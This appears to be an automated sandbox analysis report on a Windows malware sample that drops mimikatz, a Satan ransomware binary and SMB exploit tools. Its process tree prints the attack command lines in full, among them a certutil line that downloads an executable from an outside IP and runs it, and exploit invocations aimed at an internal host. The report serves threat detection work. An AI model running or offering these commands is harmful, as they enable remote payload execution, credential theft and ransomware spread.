mimikatz | e9b99706a9b48b09974dd18c1af8a0e402ccddcaa0c91edf43fdd838128a7408

Analysis

max time kernel
300s
max time network
304s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 02:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
Size

2.4MB
MD5

6e44abb2b449dd0bcadf8b0316590d0e
SHA1

332b18785c716091e0dd8e3fa94340fbfb909b93
SHA256

1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd
SHA512

14ba742a4904bb966223006c4f453de5f0a85148910a0f6ead28323a0d106bfb75042458271b3349ceaf416c3a6010fa9edd3f0f4fa388e4c186e3cea25e4187
SSDEEP

49152:rOlrKV9RqsFBVhP6zyueenTEpcEwX+6WWZbenMJpRd20/Sd5:6JULqUbhSzyCFu6W8bewf

Score

10^/10

mimikatz discovery spyware stealer

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

mimikatz is an open source tool to dump credentials on Windows 31 IoCs

Processes:

resource	yara_rule
C:\ProgramData\mmkt.exe	mimikatz
behavioral25/memory/2904-51-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-54-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-58-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-203-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-205-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-207-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-243-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-248-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-687-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-1169-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-1660-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-1824-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-2210-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-2698-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-3189-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-3677-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-4165-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-4656-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-5144-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-5584-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-6075-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-6563-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-7054-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-7542-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-8033-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-8521-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-9012-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-9452-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-9940-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz
behavioral25/memory/2904-10431-0x0000000000400000-0x0000000000A86000-memory.dmp	mimikatz

Executes dropped EXE 4 IoCs

Processes:

mmkt.exeSatan.exeblue.exestar.exe

pid process

2072 mmkt.exe
2112 Satan.exe
5848 blue.exe
15320 star.exe

Loads dropped DLL 28 IoCs

Processes:

1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.execmd.exeblue.exestar.exe

pid	process
2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
5812	cmd.exe
5812	cmd.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5848	blue.exe
5812	cmd.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe
15320	star.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Satan.exe

description	ioc	process
File opened (read-only)	\??\Q:	Satan.exe
File opened (read-only)	\??\O:	Satan.exe
File opened (read-only)	\??\L:	Satan.exe
File opened (read-only)	\??\K:	Satan.exe
File opened (read-only)	\??\I:	Satan.exe
File opened (read-only)	\??\Y:	Satan.exe
File opened (read-only)	\??\W:	Satan.exe
File opened (read-only)	\??\U:	Satan.exe
File opened (read-only)	\??\H:	Satan.exe
File opened (read-only)	\??\G:	Satan.exe
File opened (read-only)	\??\P:	Satan.exe
File opened (read-only)	\??\M:	Satan.exe
File opened (read-only)	\??\J:	Satan.exe
File opened (read-only)	\??\X:	Satan.exe
File opened (read-only)	\??\V:	Satan.exe
File opened (read-only)	\??\R:	Satan.exe
File opened (read-only)	\??\E:	Satan.exe
File opened (read-only)	\??\A:	Satan.exe
File opened (read-only)	\??\N:	Satan.exe
File opened (read-only)	\??\B:	Satan.exe
File opened (read-only)	\??\Z:	Satan.exe
File opened (read-only)	\??\T:	Satan.exe
File opened (read-only)	\??\S:	Satan.exe

Drops file in System32 directory 1 IoCs

Processes:

certutil.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	certutil.exe

Drops file in Program Files directory 64 IoCs

Processes:

Satan.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]BD00173_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]FD00074_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]NA02417_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]BABY_01.MID.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\[[email protected]]Thatch.xml.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\[[email protected]]BD15275_.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\[[email protected]]TextFile.zip.dbger	Satan.exe
File opened for modification	C:\Program Files\7-Zip\Lang\[[email protected]]tt.txt.dbger	Satan.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\[[email protected]]et.pak.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ADDINS\[[email protected]]MSOSEC.XML.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]AN04332_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]HH02282_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0107154.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SO00656_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0178459.JPG.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]MP00021_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]NA01069_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\[[email protected]]PDIR49B.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\[[email protected]]ui-icons_ef8c08_256x240.png.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]FD00435_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0103058.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]EN00320_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0107358.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SO01063_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MOR6INT.REST.IDX_DLL.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\[[email protected]]ZPDIR4B.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files\Java\jre7\[[email protected]]Welcome.html.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]DD01793_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0216570.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\[[email protected]]NOTE.CFG.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]BL00274_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SO02276_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\[[email protected]]BD14515_.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]PE00726_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0186362.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0188519.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0217302.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SO00257_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\[[email protected]]J0222021.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SY01253_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\[[email protected]]Angles.thmx.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\[[email protected]]ZPDIR24F.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]FD00779_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]HH01065_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\[[email protected]]BD18209_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SO00289_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Oasis\[[email protected]]TAB_ON.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0313896.JPG.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]PH01221K.JPG.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]SL00712_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\[[email protected]]J0301480.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]FD00419_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]STUBBY2.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\[[email protected]]J0300912.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]OUTLWVW.DLL.IDX_DLL.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\[[email protected]]Resource.zip.dbger	Satan.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\[[email protected]]chrome.dll.sig.dbger	Satan.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\[[email protected]]vlc.mo.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0105530.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MSPUB.DEV_COL.HXT.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]BD19827_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]J0099192.GIF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\[[email protected]]NA02413_.WMF.dbger	Satan.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\[[email protected]]TASKREQ.CFG.dbger	Satan.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

blue.exestar.exe1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exeSatan.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blue.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	star.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Satan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 24 IoCs

Processes:

certutil.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-84-6f-90-cf-3b	certutil.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-84-6f-90-cf-3b\WpadDecisionTime = a06825ac843cdb01	certutil.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	certutil.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0162000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}	certutil.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}\WpadDecisionTime = a06825ac843cdb01	certutil.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	certutil.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}\WpadDecisionReason = "1"	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}\WpadDecision = "0"	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-84-6f-90-cf-3b\WpadDecisionReason = "1"	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-84-6f-90-cf-3b\WpadDecision = "0"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	certutil.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	certutil.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}\WpadNetworkName = "Network 3"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2A8EB253-935E-4A00-A6FC-377A73112556}\4a-84-6f-90-cf-3b	certutil.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	certutil.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	certutil.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

mmkt.exe1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe

pid	process
2072	mmkt.exe
2072	mmkt.exe
2072	mmkt.exe
2072	mmkt.exe
2072	mmkt.exe
2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

mmkt.exe

description pid process

Token: SeDebugPrivilege 2072 mmkt.exe

description	pid	process
Token: SeDebugPrivilege	2072	mmkt.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.execmd.exerundll32.execmd.exe

description	pid	process	target process
PID 2904 wrote to memory of 2072	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	mmkt.exe
PID 2904 wrote to memory of 2072	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	mmkt.exe
PID 2904 wrote to memory of 2072	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	mmkt.exe
PID 2904 wrote to memory of 2072	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	mmkt.exe
PID 2904 wrote to memory of 2112	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	Satan.exe
PID 2904 wrote to memory of 2112	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	Satan.exe
PID 2904 wrote to memory of 2112	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	Satan.exe
PID 2904 wrote to memory of 2112	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	Satan.exe
PID 2904 wrote to memory of 5812	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	cmd.exe
PID 2904 wrote to memory of 5812	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	cmd.exe
PID 2904 wrote to memory of 5812	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	cmd.exe
PID 2904 wrote to memory of 5812	2904	1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe	cmd.exe
PID 5812 wrote to memory of 5848	5812	cmd.exe	blue.exe
PID 5812 wrote to memory of 5848	5812	cmd.exe	blue.exe
PID 5812 wrote to memory of 5848	5812	cmd.exe	blue.exe
PID 5812 wrote to memory of 5848	5812	cmd.exe	blue.exe
PID 5812 wrote to memory of 15320	5812	cmd.exe	star.exe
PID 5812 wrote to memory of 15320	5812	cmd.exe	star.exe
PID 5812 wrote to memory of 15320	5812	cmd.exe	star.exe
PID 5812 wrote to memory of 15320	5812	cmd.exe	star.exe
PID 15452 wrote to memory of 15460	15452	rundll32.exe	cmd.exe
PID 15452 wrote to memory of 15460	15452	rundll32.exe	cmd.exe
PID 15452 wrote to memory of 15460	15452	rundll32.exe	cmd.exe
PID 15460 wrote to memory of 15488	15460	cmd.exe	certutil.exe
PID 15460 wrote to memory of 15488	15460	cmd.exe	certutil.exe
PID 15460 wrote to memory of 15488	15460	cmd.exe	certutil.exe

C:\Users\Admin\AppData\Local\Temp\1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe
"C:\Users\Admin\AppData\Local\Temp\1f3509cc11ffa1f7d839df93615cf1ba0819d75cafd5ef59110d9b01fb90addd.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\All Users\mmkt.exe
  "C:\Users\All Users\mmkt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Satan.exe
  "C:\Satan.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  PID:2112
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.1.98 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.98
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Users\ALLUSE~1\blue.exe
    blue.exe --TargetIp 10.127.1.98
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5848
- - C:\Users\ALLUSE~1\star.exe
    star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.98
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:15320

C:\Windows\system32\rundll32.exe
rundll32.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:15452
- C:\Windows\system32\cmd.exe
  cmd.exe /c certutil.exe -urlcache -split -f http://101.99.84.136/cab/sts.exe c:/sts.exe&c:\sts.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:15460
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f http://101.99.84.136/cab/sts.exe c:/sts.exe
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:15488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\[[email protected]]Vdk10.lng.dbger

Filesize
22KB

MD5
e8081b814bbfd1a831ce15cdf920ba1d

SHA1
f257be8939abbcdba2c68bda9bfb93f63b02250d

SHA256
4196783fedd06529c48fe98befd3b275663fc2692bf78e20b2143aa8aecc1b33

SHA512
0afe85f5bf7da690553fad64b3b39da26fb146e35b46c1caf4e1f5a63e0189d02974a13ff915ec63d8b3cf707bac56f2320020aed3abbbb146289b14ad7ab39d

Download Submit
C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\[[email protected]]J0115843.GIF.dbger

Filesize
321B

MD5
1703c8a6ff056084d0e60fbd89e1560b

SHA1
c86a27eb8885c933769cc0d1ff943b3162562f43

SHA256
97a26f0d7f1ac7465a94101323bcd87a76e7bfdc7f4428607925afa07c9d9e04

SHA512
c05886a66d2e2b8b50c121fa243b531ba7d9ace31420da65e6b42a5ab605103b1338d4bd70b61c3e4df0ee6a0cdec1f54865f6d7c6dc5787d45a1a4e5f9691c7

Download Submit
C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\[[email protected]]J0115868.GIF.dbger

Filesize
369B

MD5
e9eb98384e33627a83b1b44098248027

SHA1
d1cbf78ab6bd13d8867fc6e8889ff9b0f9140c0b

SHA256
dce2f7596a4bd080af1690cf271da43978a81264e0f2e30f8d93037795dd4317

SHA512
4881f6e8b8a7dfbf7fe33382046501fb533c9c4acafa35ff603c82f75f8f1cdfc75577aceb4239cbbd0ed3ebb8fa6a26a8c86ddecf77aebaa70ea424b8bddae5

Download Submit
C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\[[email protected]]BD15185_.GIF.dbger

Filesize
1KB

MD5
06be2f9485756aa2cb18b9d2c1838380

SHA1
8c6a3cc5cdffd15674b0dfab36ea12666e8d0613

SHA256
4548bc477944276d0ca66cb62c5102ba62229fb716bae7554323ca434e25316a
